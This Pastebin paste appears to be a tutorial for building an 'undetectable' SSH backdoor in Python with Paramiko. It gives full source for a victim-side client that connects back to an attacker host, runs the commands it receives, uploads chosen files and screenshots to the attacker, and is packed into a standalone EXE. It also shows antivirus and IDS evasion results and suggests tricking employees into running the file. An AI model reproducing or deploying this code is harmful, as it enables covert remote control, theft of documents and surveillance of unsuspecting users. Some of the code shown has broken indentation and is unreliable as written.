Traz_99

Undetectable SSH Backdoor by Traz 99

Jan 18th, 2016
208
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 26.12 KB | None | 0 0
  1. Hey I am Traz 99 and this is my SSH Backdoor
  2.  
  3. Attacker Machine
  4. >IP address : 10.0.2.15/24
  5. >OS: BackTrack 5 R3
  6. >Python Version: 2.6
  7.  
  8. Victim Machine
  9. >IP address : 192.168.1.15/24
  10. >OS: Windows 7 SP1 32 bit
  11. >Zone Alarm Firewall and anti-virus installed (free version)
  12. >Python Version: 2.7 (installed for demonstration only)
  13.  
  14. Network Infrastructure
  15. >Pfsense Firewall with SNORT IDS/IPS integrated service
  16. >Pfsense is NATing the victim machine [192.168.1.15] to its WAN interface [10.0.2.1]
  17. >2xVirtual switches created by VBox
  18.  
  19. Building the machines from scratch inside VBox is out of our scope in this article; however, I have to briefly show you the configuration in case someone would like to replicate the scenario.
  20.  
  21. Pfsense configuration
  22.  
  23. *For WAN (outside) interface [10.0.2.1], all incoming traffic is denied by default unless it’s initiated from inside [LAN interface], simply because pfSense is a stateful firewall.
  24.  
  25.  
  26.  
  27. *For LAN (inside) interface [192.168.1.0/24], most likely you will see that only the necessary ports are allowed in the outbound direction, based on business needs. In this case, I assumed 80,443, and 22 will be allowed.
  28.  
  29.  
  30.  
  31. *All our inside clients [192.168.1.0/24] will be NATed to the WAN interface, so they will appear as 10.0.2.1 to the attacker machine.
  32.  
  33.  
  34.  
  35. *SNORT is watching traffic on both directions (inbound and outbound) for pfSense LAN & WAN interfaces.
  36.  
  37.  
  38.  
  39. *SNORT signatures are updated at the time of writing this article.
  40.  
  41.  
  42.  
  43. Note: In addition to the default enabled SNORT rules, I’ve manually enabled all the rules for the below categories because they are heavily focusing on malicious activity initiated from $HOME_NET (where Win 7 located) to the outside world
  44.  
  45. $EXTERNAL_NET (where BT is located) :-
  46.  
  47. GPLv2_community.rules
  48. Emerging-trojan.rules
  49. Emerging-malware.rules
  50.  
  51. *Here we have Win 7 updated with history log:
  52.  
  53.  
  54.  
  55.  
  56.  
  57. *Zone alarm FW and anti-virus are up and running and its DB signature is updated as well.
  58.  
  59.  
  60.  
  61.  
  62.  
  63. Approach
  64.  
  65. 1-How the Attack Works
  66. 2-Building the SSH Tunnel
  67. 3-Reverse Shell
  68. 4-SFTP
  69. 5-Write Your Own Custom Feature (Grabbing a Screenshot)
  70. 6-Code Wrap up into EXE
  71. 7-Verification
  72.  
  73. How the Attack Works
  74.  
  75.  
  76.  
  77. The main key to have a successful client-side attack is to gain an employee’s trust to download and open your malicious software. There are too many ways to do this; during reconnaissance phase, you may search around and see what topics this employee is interested in. Maybe he/she has a post on Facebook asking for free software to download YouTube videos! Get my point here? I will leave this to your imagination, as every penetration tester has his own way.
  78.  
  79. Once the victim opens ‘execute’ (your backdoor), a TCP SYN request will be initiated back to the attacker machine, which is supposed to be listening and waiting for incoming requests on port 22 to complete the TCP 3-way handshake and establish an SSH tunnel on the top of the TCP socket.
  80.  
  81. Inside this secure channel, we will transfer arbitrary commands to our victim and make it send the execution result back to us. Encryption is a great way to evade IDS/IPS sensors since they will be completely blind about the traffic type that passed on. Making a ‘reverse shell’ is also a well-known method to bypass FW rules, as it is most likely blocking all incoming connections, but you can’t block all outbound connections since they are mandatory for business needs.
  82.  
  83. Building the SSH Tunnel
  84.  
  85. Python has many third-party libraries that simplify SSH implementation and provide a high user level. I will use the Paramiko library, as it has fabulous features and allows us to program a simple client-server channel and much more!
  86.  
  87. Before proceeding, I recommend you take a look into a folder called “demos” inside the Paramiko bundle. Paramiko’s author has done a great job in explaining how to use Paramiko in multiple scenarios through demo scripts. Files we are interested in:
  88.  
  89. *demo_server.py : a demo for a simple SSH Server [BackTrack in our case]
  90. *demo_simple.py : a demo for a simple SSH Client [Windows 7 in our case]
  91. *demo_sftp.py : a demo for a simple SFTP Client [Windows 7 in our case]
  92. *rforward.py : a demo for Reverse Port-Forwarding [Check challenge yourself section]
  93.  
  94. In this section, we will program the server & client-side and transfer simple strings over the SSH channel.
  95.  
  96. Server Side
  97.  
  98. import socket
  99. import paramiko
  100. import threading
  101. import sys
  102.  
  103. host_key = paramiko.RSAKey(filename='/root/Desktop/test_rsa.key')
  104.  
  105. class Server (paramiko.ServerInterface):
  106.    def _init_(self):
  107.        self.event = threading.Event()
  108.    def check_channel_request(self, kind, chanid):
  109.        if kind == 'session':
  110.            return paramiko.OPEN_SUCCEEDED
  111.        return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
  112.    def check_auth_password(self, username, password):
  113.        if (username == 'root') and (password == 'toor'):
  114.            return paramiko.AUTH_SUCCESSFUL
  115.        return paramiko.AUTH_FAILED
  116.  
  117. try:
  118.     sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  119.     sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  120.     sock.bind(('10.0.2.15', 22))
  121.     sock.listen(100)
  122.     print '[+] Listening for connection ...'
  123.     client, addr = sock.accept()
  124. except Exception, e:
  125.     print '[-] Listen/bind/accept failed: ' + str(e)
  126.     sys.exit(1)
  127. print '[+] Got a connection!'
  128.  
  129. try:
  130.     t = paramiko.Transport(client)
  131.     try:
  132.         t.load_server_moduli()
  133.     except:
  134.         print '[-] (Failed to load moduli -- gex will be unsupported.)'
  135.         raise
  136.     t.add_server_key(host_key)
  137.     server = Server()
  138.     try:
  139.         t.start_server(server=server)
  140.     except paramiko.SSHException, x:
  141.         print '[-] SSH negotiation failed.'
  142.  
  143.     chan = t.accept(20)
  144.     print '[+] Authenticated!'
  145.     print chan.recv(1024)
  146.     chan.send('Yeah i can see this')
  147.  
  148. except Exception, e:
  149.     print '[-] Caught exception: ' + str(e. class ) + ': ' + str(e)
  150.     try:
  151.         t.close()
  152.     except:
  153.         pass
  154.     sys.exit(1)
  155. The code starts with defining the location for RSA key, which be used to sign and verify
  156.  
  157. SSH2 data. I used the test_rsa.key that was packed inside the Paramiko bundle.
  158.  
  159. 1class Server’ defines an interface for controlling the behavior of Paramiko in server mode, and includes necessary functions that handle the requests coming from the client-side. For example,def check_auth_password‘ defines if a given username and password supplied by the client is correct during authentication.
  160.  
  161. def check_channel_request’ is called in our server when the client requests a channel. After authentication is complete, in this case we defined a ‘session’ channel type only to be allowed, other types would be [PTY, Shell] but remember that we won’t need the client (victim) to establish (or even request) a PTY/Shell terminal back to us, right?
  162.  
  163. Next, we used ‘socket, a built-in Python library for creating a TCP socket object named
  164.  
  165. 2 ‘sock’, and assign some options like (socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) allowing us to bind an IP address that previously connected and left the socket in TIME_WAIT. Then we defined that we are binding our 10.0.2.15 interface address on port 22 and listening for 100 connections (in fact we are only interested in one connection from our victim). sock.accept() return a socket object stored in a variable called
  166. ‘client’.
  167.  
  168. Finally we passed the ‘client’ socket object to ‘Transport’ class, which is responsible for
  169.  
  170. 3 negotiating an encrypted session, authenticating, and then creating stream tunnels called channel ‘chan’ across the session. We interact with our victim inside a channel through ‘chan.sendand ‘chan.recv’ functions.
  171.  
  172. If all went fine we should send (‘Yeah i can see this’) to the client and print out what the client has sent.
  173.  
  174. Client Side
  175.  
  176. In network programming, usually the client side is less complicated than the server side. You can notice this with four total lines needed to establish a channel.
  177.  
  178. import paramiko
  179. import threading
  180.  
  181. client = paramiko.SSHClient()
  182. client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  183. client.connect('10.0.2.15', username='root', password='toor')
  184. chan = client.get_transport().open_session()
  185. chan.send('Hey i am connected :) ')
  186. print chan.recv(1024)
  187. client.close
  188. SSHClient() class takes care of most aspects of authenticating and opening channels.
  189.  
  190. 1 paramiko.AutoAddPolicy()
  191. class automatically adds the hostname and server host key to the local ‘HostKeys‘ object and saves it, so we won’t worry about the notification message about recognizing the server key fingerprint that appears when you first connect to an SSH server. Then we define the IP address of our attacking machine [10.0.2.15 ] with login credentials.
  192.  
  193. ‘client.get_transport().open_session()‘ requests a new channel of type ‘session‘ from
  194.  
  195. 2 the server (still remember ‘def check_channel_request’ from the server code?). If all
  196.  
  197. goes fine, we should send (‘Hey i am connected :)) to the server and print out what the server has sent.
  198.  
  199. Quick Test
  200.  
  201. Before moving on, I’ve already installed a Python compiler on the Windows 7 machine so we can quickly test our code, however in the last phase we will compile the whole code into single standalone EXE file which will be tested in our secure environment.
  202.  
  203. *Starting the server script
  204.  
  205. root@bt:~# python /root/Desktop/Server\ Part\ 1.py
  206. [+] Listening for connection …
  207.  
  208. *Verify a listening port on our Backtrack
  209.  
  210. root@bt:~# netstat -antp | grep “22”
  211. tcp 0 10.0.2.15:22 0.0.0.0:* LISTEN 1683/python
  212.  
  213. *Starting the client script
  214.  
  215. C:\Users\Hussam\Desktop>python “Client Part 1.py
  216. Yeah i can see this
  217.  
  218. *Reviewing server side output
  219.  
  220. root@bt:~# python /root/Desktop/Server\ Part\ 1.py
  221. [+] Listening for connection … [+] Got a connection!
  222. [+] Authenticated!
  223. Hey i am connected :)
  224.  
  225. Perfect, everything is working as expected we see the channel output on both sides as we programmed in the script.
  226.  
  227. Reverse Shell
  228.  
  229. Paramiko is not designed to be used for penetration testing, the author ‘as others do’ supposed that the client will execute commands on the server and this occurs via the ‘chan.exec_command(command)’ function. However it’s reversed in our scenario since the server (hacker) is the one who will execute commands remotely on the client (victim). To overcome this, we will initiate a subprocess on the client side, and based on commands we received from the server via chan.recv() ,our client will send the output back via chan.send().
  230.  
  231. Server Side
  232.  
  233. #Add the following code after ‘chan.send(‘Yeah i can see this’)’ from the previous server script.
  234.  
  235. while True:
  236.     command= raw_input("Enter command: ").strip('\n')
  237.     chan.send(command)
  238.     print chan.recv(1024) + '\n'
  239. We just need to grab a command from the user via raw_input and send it to the client to execute it, then print out the result.
  240.  
  241. Client Side
  242.  
  243. import subprocess
  244.  
  245. while True:
  246.     command = chan.recv(1024)
  247.     try:
  248.         CMD = subprocess.check_output(command, shell=True)
  249.         chan.send(CMD)
  250.     except Exception,e:
  251.         chan.send(str(e))
  252. subprocess.check_output’ execute the received command and return its output as a byte string to ‘CMD‘ variable, which gets transferred back to server. Note that we use exception handling withsubprocess.check_output’ because if the attacker mistyped a command, this will raise an exception and we will lose our shell. We definitely don’t want this.
  253.  
  254. Quick Test
  255.  
  256. *Start server script and then client script and issue some commands like ‘ipconfig,chdir’ to verify remote execution.
  257.  
  258. root@bt:~# python /root/Desktop/Server\ Part\ 2.py
  259. [+] Listening for connection ...
  260. [+] Got a connection!
  261. [+] Authenticated! Hey i
  262. am connected :) Enter
  263. command: ipconfig
  264.  
  265. Windows IP Configuration
  266.  
  267. Ethernet adapter Local Area Connection:
  268. Connection-specific DNS Suffix . :
  269. Link-local IPv6 Address . . . . . : fe80::9012:530:e307:c322%11
  270. IPv4 Address. . . . . . . . . . . : 192.168.1.15
  271. Subnet Mask . . . . . . . . . . . : 255.255.255.0
  272. Default Gateway . . . . . . . . . : 192.168.1.1
  273. Tunnel adapter isatap.{77D9EB79-91D3-45A9-A0BE-ED645CC08DF9}:
  274. Media State . . . . . . . . . . . : Media disconnected
  275. Connection-specific DNS Suffix . :
  276. Tunnel adapter Teredo Tunneling Pseudo-Interface:
  277. Media State . . . . . . . . . . . : Media disconnected
  278. Connection-specific DNS Suffix . :
  279.  
  280. Enter command: chdir
  281. C:\Users\Hussam\Desktop
  282.  
  283. Enter command: arp -a
  284.  
  285. Interface: 192.168.1.15 --- 0xb
  286.  Internet Address  Physical Address   Type
  287.  192.168.1.1       08-00-27-b3-a2-7d  dynamic
  288.  192.168.1.255     ff-ff-ff-ff-ff-ff  static
  289.  224.0.0.22        01-00-5e-00-00-16  static
  290.  224.0.0.252       01-00-5e-00-00-fc  static
  291.  239.255.255.250   01-00-5e-7f-ff-fa  static
  292. Bingo! We have successfully executed commands remotely through the encrypted SSH channel. Let’s move on to do more actions.
  293.  
  294. SFTP
  295.  
  296. Transferring files with your victim becomes very handy, especially for post exploitation phases such as leaking sensitive documents or uploading software for pivoting. At this point we have multiple choices:
  297.  
  298. The worst: we can transfer files over the TCP socket, but this method may corrupt the file during transmission, especially if the file is large. As a matter of fact, this is why an entire protocol (FTP) was designed.
  299.  
  300. The best: to program an SFTP server using Paramiko, but SFTP server programming can be quite difficult.
  301.  
  302. The easiest: Fire up an OpenSSH server on a different hacking machine or bind it to a different NIC address. We need this because port 22 is reserved for our Python server on IP : 10.0.2.15.
  303.  
  304. SFTP Server
  305.  
  306. To avoid increasing code complexity on the server side, I will go for the last option and use OpenSSH with the following configuration:
  307.  
  308. root@bt:~# cat /etc/ssh/sshd_config
  309. ...
  310. Port 22
  311. ListenAddress 10.0.2.16
  312. ChallengeResponseAuthentication no
  313. Subsystem sftp internal-sftp
  314. UsePAM no
  315. ...
  316. SFTP Client
  317.  
  318. def sftp(local_path,name):
  319.     try:
  320.         transport = paramiko.Transport(('10.0.2.16', 22))
  321.         transport.connect(username = 'root', password = 'toor')
  322.     sftp = paramiko.SFTPClient.from_transport(transport)
  323.     sftp.put(local_path, '/root/Desktop/SFTP-Upload/'+name)
  324.     sftp.close()
  325.     transport.close()
  326.     return '[+] Done'
  327.   except Exception,e:
  328.     return str(e)
  329.  
  330. while True:
  331.     command = chan.recv(1024)
  332.     if 'grab' in command:
  333.         grab,name,path = command.split('*')
  334.         chan.send( sftp(path,name) )
  335. Create a condition triggered by receiving a certain word ‘grab‘ to indicate that we need
  336.  
  337. 1 to transfer a file from a victim machine. To transfer a file we need necessary parameters like file name, file path on victim machine, and the storing directory back on attacker side. The server has to send that information in a certain formula so we can split these parameters and pass it to our SFTP function.
  338.  
  339. In this case, I used asterisk ‘*’ to separate between these parameters. For example, on server side, if we send:
  340.  
  341. grab*photo*C:\Users\Hussam\Desktop\photo.jpeg
  342.  
  343. using split function we can break the above sentence into 3 variables based on ‘*’
  344.  
  345. grab,name,path = command.split(‘*’)
  346.  
  347. >grab variable will contain grab string we received from the server
  348.  
  349. >name variable will contain the file name to be uploaded in server side, in this case it’s
  350.  
  351. photo
  352.  
  353. >path variable will contains the ‘photo’ path, in this case it’s
  354.  
  355. C:\Users\Hussam\Desktop\photo.jpeg
  356.  
  357. Once SFTP function got the path and file name, it will initiate a new SSH session on port 22 back to our BackTrack machine. After authentication and establishing an SSH tunnel we can start transferring the photo using FTP protocol and it will be saved in a pre-created directory called ‘/root/Desktop/SFTP-Upload/’ , thanks to sftp.put(local_path, ‘/root/Desktop/SFTP-Upload/’+name)
  358.  
  359. If all went okay, SFTP function will return a ‘[+] Done’ string back to us through our previous channel, otherwise, it will print the exception occurred.
  360.  
  361. Quick test
  362.  
  363. root@bt:~# service ssh start
  364. ssh start/running, process 1578
  365.  
  366. root@bt:~# netstat -antp | grep "22"
  367. tcp       0      10.0.2.16.22            0.0.0.0:*              LISTEN     1578/sshd
  368.  
  369. root@bt:~# python /root/Desktop/Server\ Part\ 2.py
  370. [+] Listening for connection ... [+] Got a connection!
  371. [+] Authenticated!
  372. Hey i am connected :) Enter command: dir Data Volume in drive C has no label.
  373. Volume Serial Number is 1471-329C
  374.  
  375. Directory of C:\Users\Hussam\Desktop\Data
  376.  
  377. 11/20/2013  07:27 PM    <DIR>   .
  378. 11/20/2013  07:27 PM    <DIR>   ..
  379. 11/01/2013  05:20 PM    0 important.txt
  380. 11/17/2013  01:17 AM    7,346 Nancy_Ajram.jpeg
  381. 11/13/2013  02:50 PM    98,743,826 Sales Report.pdf
  382. 3 File(s)     98,751,172 bytes
  383. 2 Dir(s) 14,744,477,696 bytes free
  384. Enter command: grab*Nancy_Ajram*C:\Users\Hussam\Desktop\Data\Nancy_Ajram.jpeg
  385. [+] Done
  386. Enter command:
  387.  
  388. And we can see the image below in SFTP-Upload folder, voilà!
  389.  
  390.  
  391.  
  392. Write Your Own Custom Feature (Grabbing a Screenshot )
  393.  
  394. In this part we will learn how to tune the previous script to add more functionality based on custom needs. Let’s try to replicate grabbing a screenshot option in Metasploit Meterpreter.
  395.  
  396. Client Side
  397.  
  398. from PIL import ImageGrab
  399.  
  400. def screenshot():
  401.     try:
  402.         im = ImageGrab.grab()
  403.         im.save('C:\Users\Hussam\Desktop\screenshot.png')
  404.     except Exception,e:
  405.         return str(e)
  406.     return sftp('C:\Users\Hussam\Desktop\screenshot.png','screenshot')
  407.  
  408. while True:
  409.  
  410.     command = chan.recv(1024)
  411.     if 'grab' in command:
  412.         grab,name,path = command.split('*')
  413.         chan.send( sftp(path,name) )
  414.  
  415.     elif 'getscreen' in command:
  416.     chan.send ( screenshot() )
  417. 1 Similar to what we’ve done in SFTP ‘grab‘, we appended another if statement in sequential
  418.  
  419. order that says “if we receive ‘getscreen‘ from our server, we will call def screenshot()
  420.  
  421. function and send the result of this function back to server.”
  422.  
  423. 2 def screenshot() function uses ‘ImageGrab‘ class from Python Image Library (PIL) where it has a built in function to capture a screenshot, saving the output to C:\Users\Hussam\Desktop\screenshot.png’ then we utilized SFTP function to transfer it for us.
  424.  
  425. Quick Test
  426.  
  427. root@bt:~# service ssh start
  428. ssh start/running, process 1623
  429. root@bt:~# python /root/Desktop/Server\ Part\ 2.py
  430. [+] Listening for connection ... [+] Got a connection!
  431. [+] Authenticated!
  432. Hey i am connected :)
  433. Enter command: getscreen
  434. [+] Done
  435.  
  436. Enter command: chdir
  437. C:\Users\Hussam\Desktop
  438. Checking our “Upload” directory we can see our new image over there:
  439.  
  440.  
  441.  
  442.  
  443.  
  444. Code Wrap up into EXE
  445.  
  446. There are multiple ways to convert a Python script into standalone EXE. We will use py2exe for this purpose.
  447.  
  448. Step 1: Grouping our client functions into a single file called “Client.py
  449.  
  450. import paramiko
  451. import threading
  452. import subprocess
  453. from PIL import ImageGrab
  454.  
  455. def sftp(local_path,name):
  456.     try:
  457.         transport = paramiko.Transport(('10.0.2.16', 22))
  458.         transport.connect(username = 'root', password = 'toor')
  459.         sftp = paramiko.SFTPClient.from_transport(transport)
  460.         sftp.put(local_path, '/root/Desktop/SFTP-Upload/'+name)
  461.         sftp.close()
  462.         transport.close()
  463.         return '[+] Done'
  464.     except Exception,e:
  465.         return str(e)
  466.  
  467.     def screenshot():
  468.         try:
  469.             im = ImageGrab.grab()
  470.             im.save('C:\Users\Hussam\Desktop\screenshot.png')
  471.         except Exception,e:
  472.             return str(e)
  473.         return sftp('C:\Users\Hussam\Desktop\screenshot.png','screenshot')
  474.  
  475.     client = paramiko.SSHClient()
  476.     client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  477.     client.connect('10.0.2.15', username='root', password='toor')
  478.     chan = client.get_transport().open_session()
  479.     chan.send('Hey i am connected :) ')
  480.     print chan.recv(1024)
  481.  
  482.     while True:
  483.         command = chan.recv(1024)
  484.         if 'grab' in command:
  485.             grab,name,path = command.split('*')
  486.             chan.send( sftp(path,name) )
  487.  
  488.         elif 'getscreen' in command:
  489.             chan.send ( screenshot() )
  490.  
  491.     else:
  492.          try:
  493.             CMD = subprocess.check_output(command, shell=True)
  494.             chan.send(CMD)
  495.          except Exception,e:
  496.             chan.send(str(e))
  497. Step 2: Preparing “setup.py” script to specify which options do we need in our output
  498.  
  499. from distutils.core import setup
  500. import py2exe , sys, os
  501.  
  502. setup(
  503.     options = {'py2exe': {'bundle_files': 1}},
  504.  
  505.     windows = [{'script': "Client.py"}],
  506.     zipfile = None,
  507. )
  508. {‘bundle_files’: 1} will bundle out script and its needed DLL libraries into single exe output as we don’t need zipfile (zipfile = None)
  509.  
  510. 1 {‘bundle_files’: 1} will bundle out script and its needed DLL libraries into single exe output as we don’t need zipfile (zipfile = None)
  511.  
  512. Step 3: Firing up py2exe
  513.  
  514. C:\Users\Hussam\Desktop>python setup.py py2exe
  515.  
  516. Our output will be in dist folder named Client.exe
  517.  
  518. Verification
  519.  
  520. Anti-virus Evasion
  521.  
  522. Now it’s show time. Uploading our Client.exe to virustotal online scanner, we got 0 detection.
  523.  
  524. https://www.virustotal.com/en/file/47e87746d742454cfd4aaa733c263ba25731e0e75cca
  525. d6f0bd00cfa278520abe/analysis/1385136237/
  526.  
  527.  
  528.  
  529.  
  530. SNORT Testing
  531.  
  532. Before running our standalone Backdoor into the victim machine, I have quickly crafted some packets initiated from the inside network (192.168.1.0/24) which triggers a couple SNORT signatures just to make sure that it’s working.
  533.  
  534. from scapy.all import *
  535.  
  536. packet = IP(src='192.168.1.15' , dst='8.8.8.8')
  537. segment = UDP(dport=53)
  538. payload =
  539. '\x33\x33\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x07'+'counter'+'\x05'+'yadro'+'\
  540. x02'+'ru'+'\x00\x00\x01\x00\x01' rocket = packet/segment/payload
  541. send(rocket)
  542.  
  543. packet = IP(src='192.168.1.15' , dst='10.0.2.15')
  544. segment = ICMP()
  545. payload = 'Echo This'
  546. rocket = packet/segment/payload send(rocket)
  547. The above code should trigger the below signatures from emerging-trojan.rules:
  548.  
  549.  
  550.  
  551.  
  552.  
  553. And fair enough, SNORT was able to address these packets and considered them malicious.
  554.  
  555.  
  556.  
  557. Note: I’ve cleared these logs before proceeding further.
  558.  
  559. Local AV & IDS Evasion
  560.  
  561. *Scanning our backdoor on Win 7 using Zone alarm AV and we got 0 infection.
  562.  
  563.  
  564.  
  565. *Setting up listeners on the attacker machine for last time:
  566.  
  567. root@bt:~# netstat -antp | grep “22”
  568.  
  569. tcp
  570.  
  571. 0
  572.  
  573. 0 10.0.2.15:22
  574.  
  575. 0.0.0.0:*
  576.  
  577. LISTEN
  578.  
  579. 1732/python
  580.  
  581. tcp
  582.  
  583. 0
  584.  
  585. 0 10.0.2.16:22
  586.  
  587. 0.0.0.0:*
  588.  
  589. LISTEN
  590.  
  591. 1723/sshd
  592.  
  593. *Opening the backdoor and testing our script functionality as standalone EXE:
  594.  
  595. root@bt:~# python /root/Desktop/Server\ Part\ 2.py
  596. [+] Listening for connection ... [+] Got a connection!
  597. [+] Authenticated!
  598. Hey i am connected :)
  599. Enter command: ipconfig
  600.  
  601. Windows IP Configuration
  602.  
  603. Ethernet adapter Local Area Connection:
  604. Connection-specific DNS Suffix  . :
  605. Link-local IPv6 Address . . . . . : fe80::9012:530:e307:c322%11
  606. IPv4 Address. . . . . . . . . . . : 192.168.1.15
  607. Subnet Mask . . . . . . . . . . . : 255.255.255.0
  608. Default Gateway . . . . . . . . . : 192.168.1.1
  609. Tunnel adapter isatap.{77D9EB79-91D3-45A9-A0BE-ED645CC08DF9}:
  610. Media State . . . . . . . . . . . : Media disconnected
  611. Connection-specific DNS Suffix  . :
  612. Tunnel adapter Teredo Tunneling Pseudo-Interface:
  613. Media State . . . . . . . . . . . : Media disconnected
  614. Connection-specific DNS Suffix  . :
  615.  
  616. Enter command: dir
  617. Volume in drive C has no label.
  618. Volume Serial Number is 1471-329C
  619.  
  620. Directory of C:\Users\Hussam\Desktop
  621.  
  622. 11/24/2013  07:42 PM    <DIR>   .
  623. 11/24/2013  07:42 PM    <DIR>   ..
  624. 11/24/2013  07:35 PM        8,825,272 Client.exe
  625. 11/24/2013  01:32 AM    1,405 Client.py
  626. 11/01/2013  07:43 PM    13,335 cmd - Shortcut.lnk
  627. 11/20/2013  07:27 PM    <DIR>         Data
  628. 11/17/2013  12:52 AM    <DIR>          EXE
  629. 11/12/2013  11:14 PM    952 FreeSSHd.lnk
  630. 11/03/2013  09:51 PM    2,555 IDLE (Python GUI).lnk
  631. 11/12/2013  06:17 PM    61,440 nc.exe
  632. 11/23/2013  11:34 PM    345 New Text Document.txt
  633. 11/14/2013  08:42 PM    <DIR>         Nmap
  634. 11/04/2013  01:57 AM    311,296 plink.exe
  635. 11/14/2013  09:59 PM    78 portscan.bat
  636. 11/12/2013  09:13 PM    2,489,024 Procmon.exe
  637. 11/14/2013  10:19 PM    387,776 PsExec.exe
  638. 11/14/2013  10:22 PM    232,232 pslist.exe
  639. 11/04/2013  02:37 PM    495,616 putty.exe
  640. 1
  641.  
  642. Enter command: dir Data
  643. 1/17/2013  07:24 PM    <DIR>         pwdump7
  644. 11/17/2013  10:04 PM        5,589,154 Python-windows-privesc-check2.exe
  645. 11/24/2013  07:15 PM              245 setup.py
  646. 11/02/2013  08:35 PM              471 ShareVM (vboxsrv) (E) - Shortcut.lnk
  647. 11/06/2013  01:27 AM    <DIR>          SSH Bot
  648. 11/16/2013  11:45 PM            1,317 SSHClient2.py
  649. 11/02/2013  07:43 PM            3,059 Tripwire SecureCheq.lnk
  650. 11/17/2013  08:56 PM    <DIR>         upx391w
  651. 11/18/2013  06:10 PM    <DIR>         wce_v1.0
  652. 11/05/2013  06:43 PM            1,702 Wireshark.lnk
  653. 11/01/2013  09:06 PM            1,448 XAMPP Control Panel.lnk
  654. 11/16/2013  02:49 PM        2,465,360 zaSetupWeb_120_104_000.exe
  655. 09/01/2013  05:14 PM               853 �Torrent.lnk
  656.     22 File(s)    20,884,935 bytes
  657.      9 Dir(s)  14,805,999,616 bytes free
  658.  
  659. Enter command:
  660. Volume in drive C has no label. Volume Serial Number is 1471-329C
  661.  
  662. Directory of C:\Users\Hussam\Desktop\Data
  663.  
  664. 11/20/2013  07:27 PM    <DIR>   .
  665. 11/20/2013  07:27 PM    <DIR>   ..
  666. 11/01/2013  05:20 PM    0 important.txt
  667. 11/17/2013  01:17 AM    7,346 Nancy_Ajram.jpeg
  668. 11/13/2013  02:50 PM    98,743,826 Sales Report.pdf
  669.     3 File(s)     98,751,172 bytes
  670.     2 Dir(s)  14,805,999,616 bytes free
  671. Enter command: grab*SalesRep*C:\Users\Hussam\Desktop\Data\Sales Report.pdf
  672.  
  673. [+] Done
  674.  
  675. Enter command: getscreenshot
  676.  
  677. [+] Done
  678.  
  679. So the results look exactly as they did in implementation phase, and wrapping into EXE
  680.  
  681. didn’t affect functionality.
  682.  
  683. *Connection Verification
  684.  
  685. C:\Users\Hussam\Desktop>netstat -an | find "22"
  686. TCP   192.168.1.15:49226    10.0.2.15:22    ESTABLISHED
  687. TCP   192.168.1.15:49242    10.0.2.16:22    ESTABLISHED
  688.  
  689. root@bt:~# netstat -antp | grep "22"
  690. tcp 0   0 10.0.2.15:22  10.0.2.1:57590  ESTABLISHED 1732/python
  691. tcp 0   0 10.0.2.16:22  10.0.2.1:40539  ESTABLISHED 2218/sshd:  root@not
  692. tcp
  693.  
  694. 0
  695.  
  696. 0 10.0.2.15:22
  697.  
  698. 10.0.2.1:57590
  699.  
  700. ESTABLISHED 1732/python
  701.  
  702. tcp
  703.  
  704. 0
  705.  
  706. 0 10.0.2.16:22
  707.  
  708. 10.0.2.1:40539
  709.  
  710. ESTABLISHED 2218/sshd:
  711. root@not
  712.  
  713.  
  714.  
  715. *And the most important part is we got 0 alerts from SNORT on both LAN/WAN
  716.  
  717. Interfaces.
Add Comment
Please, Sign In to add comment